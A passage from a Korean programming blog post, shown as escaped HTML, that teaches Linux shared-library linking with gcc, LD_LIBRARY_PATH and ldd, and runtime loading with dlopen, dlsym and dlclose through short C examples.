style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;/*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* so_loader.c&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* Coded by TeamCR@K&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* http://teamcrak.tistory.com&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;* - A example c code for shared library loader&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;*/&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;int main(void)&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;{&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; teamcrak(&quot;Call by shared library\n&quot;);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;}&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 so_loader.c 소스코드에는 teamcrak()이라는 함수의 정의나 구현부분이 존재하지 않지만, 컴파일 및 링크시에 사용되는 옵션으로 teamcrak() 함수가 정의된 라이브러리를 참조하여 실행 할 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;b&gt;* 공유 라이브러리를 참조하는 코드 컴파일 명령행&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;$ gcc \&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; -Wall \&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; # 모든 경고 출력 옵션&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; -o so_loader \&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;# output 옵션. 컴파일 결과 파일: so_loader&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; so_loader.c \&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;# 컴파일 할 소스코드&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; -L. \&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;# 라이브러리 링크 경로 지정 옵션. 라이브러리 경로: . (현재 디렉터리)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; &amp;nbsp; -lso_exam&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;# 링크 할 &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;라이브러리 지정 옵션. 라이브러리 이름: &lt;/span&gt;&lt;strike&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;lib&lt;/span&gt;&lt;/strike&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;so_exam&lt;/span&gt;&lt;strike&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.so&lt;/span&gt;&lt;/strike&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;gcc의 -l 옵션을 사용하여 특정 라이브러리를 링크하도록 지정할&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;때 파일 이름에 존재하는&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;&lt;b&gt;&lt;i&gt;lib(접두사)&lt;/i&gt;&lt;/b&gt;와 &lt;b&gt;&lt;i&gt;.so&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;b&gt;&lt;i&gt;(접미사)&lt;/i&gt;&lt;/b&gt;는 제외해야 합니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;아래는 예제코드들을 실제 컴파일 과정을 거쳐 실행 해 본 화면입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99404C475A6B2FEC05&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99404C475A6B2FEC05&quot; width=&quot;675&quot; height=&quot;472&quot; filename=&quot;2.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 1]&amp;nbsp;LD_LIBRARY_PATH 환경변수로 라이브러리 경로&amp;nbsp;지정 후 정상 실행 확인&lt;/b&gt;&lt;/p&gt;&lt;div style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;컴파일 과정에서 teamcrak() 함수의 원형이 so_loader.c 파일에 정의되지 않아 warning이 발생된 것 빼고는 큰 장애없이 컴파일이 완료되었습니다. 그러나 실행 시 에러가 발생했네요. 해당 에러는&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;공유 라이브러리의 경로를 지정해 주지 않아 발생한 에러였습니다. 라이브러리 관련 환경변수인 LD_LIBRARY_PATH에 . (현재 디렉터리)를 명시한 이후에 정상 실행이 된 것을 확인 할 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;프로그램 실행 시 이러한 공유라이브러리의 의존성을 확인할 수 있도록 &lt;b&gt;&lt;i&gt;ldd&lt;/i&gt;&lt;/b&gt;라는 명령어를 활용할 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999394425A72C02026&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999394425A72C02026&quot; width=&quot;675&quot; height=&quot;472&quot; filename=&quot;3.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 2]&amp;nbsp;ldd 명령어로 대상&amp;nbsp;프로그램의 의존성이 존재하는 라이브러리 확인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;기본적으로 공유라이브러리는 위와 같이 특정 경로에 위치되도록 하여 실행 프로그램에서 해당 라이브러리의 기능을 사용할 수 있도록&amp;nbsp;되어 있습니다. 그러나 컴파일, 링크 시에 공유라이브러리를 참조하도록 하는 방법 외에 다른 방법은 없을까요? 코드 레벨에서 이와 같은 과정에 관여 할 수는 없을까요? 이를 위해 우리는 DL 라이브러리를 사용할 수 있습니다. 다음 소스코드는 DL 라이브러리에서 제공하는&amp;nbsp;&lt;b&gt;&lt;i&gt;dlopen()&lt;/i&gt;&lt;/b&gt;과 &lt;b&gt;&lt;i&gt;dlsym(), dlclose()&lt;/i&gt;&lt;/b&gt;를 통해 외부&amp;nbsp;라이브러리에 존재하는&amp;nbsp;함수를 참조하여 실행할 수 있도록 구현된 소스코드입니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;/*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* so_loader_by_dlopen.c&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* Coded by TeamCR@K&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* http://teamcrak.tistory.com&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* - A example c code for dlopen()&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*/&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#include &amp;lt;dlfcn.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;int main(int argc, char **argv)&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;{&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int ret;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; void *dl = NULL;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // XXX: Function prototype of teamcrak() in a shared object&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int (*func)(const char *msg) = NULL;&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc != 4) {&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;Usage: %s &amp;lt;SO-PATH&amp;gt; &amp;lt;FUNCTION-NAME&amp;gt; &amp;lt;MESSAGE&amp;gt;\n&quot;, argv[0]);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // XXX: Load a library&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if((dl = dlopen(argv[1], RTLD_LAZY)) == NULL) {&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stderr,&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;[%s] Can not load library: %s\n&quot;, __FILE__, argv[1]);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; goto failed;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // XXX: Map the function by loaded library&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if((func = (int (*)(const char *))dlsym(dl, argv[2])) == NULL) {&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stderr,&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;[%s] No such %s() function from the library.\n&quot;,&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; __FILE__, argv[2]);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; goto failed;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // XXX: Function-call using function pointer&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ret = func(argv[3]);&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;failed:&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(dl != NULL)&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dlclose(dl); // XXX: Resource free&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;}&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;위 소스코드는 먼저 특정 라이브러리에서 참조하고자 하는 함수의 원형을 정의하는데 이를 함수포인터 형태로 정의하도록 합니다.&amp;nbsp;그 후 특정 경로에 있는 공유 라이브러리를 open(&lt;b&gt;&lt;i&gt;dlopen&lt;/i&gt;&lt;/b&gt;)하고 라이브러리 안에 정의된 함수를 찾아 맵핑(&lt;b&gt;&lt;i&gt;dlsym&lt;/i&gt;&lt;/b&gt;)합니다. 함수 맵핑 후 반환받은 주소는 해당 함수가 존재하는 주소이므로 함수포인터 형태로 이를 실행 할 수 있습니다. 위 소스코드를 컴파일 하고 실행해보았습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990DB1465A72CB4628&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990DB1465A72CB4628&quot; width=&quot;720&quot; height=&quot;230&quot; filename=&quot;4.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 3]&amp;nbsp;dlopen과 dlsym으로 특정 공유라이브러리에 구현된 함수 실행&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b style=&quot;text-align: center; font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;컴파일 시 &lt;b&gt;&lt;i&gt;dlopen()&lt;/i&gt;&lt;/b&gt;을 사용할 수 있도록 DL&amp;nbsp;라이브러리를 참조하도록 하고, 프로그램 실행 시 라이브러리 경로와 라이브러리에 구현된 함수 이름, 함수 실행 시 전달할&amp;nbsp;인자 정보를 포함하도록 했습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;프로그램은 정상적으로 실행되었고, &lt;i style=&quot;font-weight: bold;&quot;&gt;ldd&lt;/i&gt;로 컴파일 된 파일을 분석 한 결과 DL&amp;nbsp;라이브러리가 기본 참조되도록 만들어져 있는 것을 알 수 있습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;b&gt;&lt;i&gt;dlopen()&lt;/i&gt;&lt;/b&gt;이나&lt;b&gt;&lt;i&gt; dlsym()&lt;/i&gt;&lt;/b&gt;과 같은 함수 사용법은&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;i style=&quot;font-weight: bold;&quot;&gt;Windows OS&lt;/i&gt;의 API를 다뤄보셨던분들에게 &lt;b&gt;&lt;i&gt;LoadLibrary()&lt;/i&gt;&lt;/b&gt; 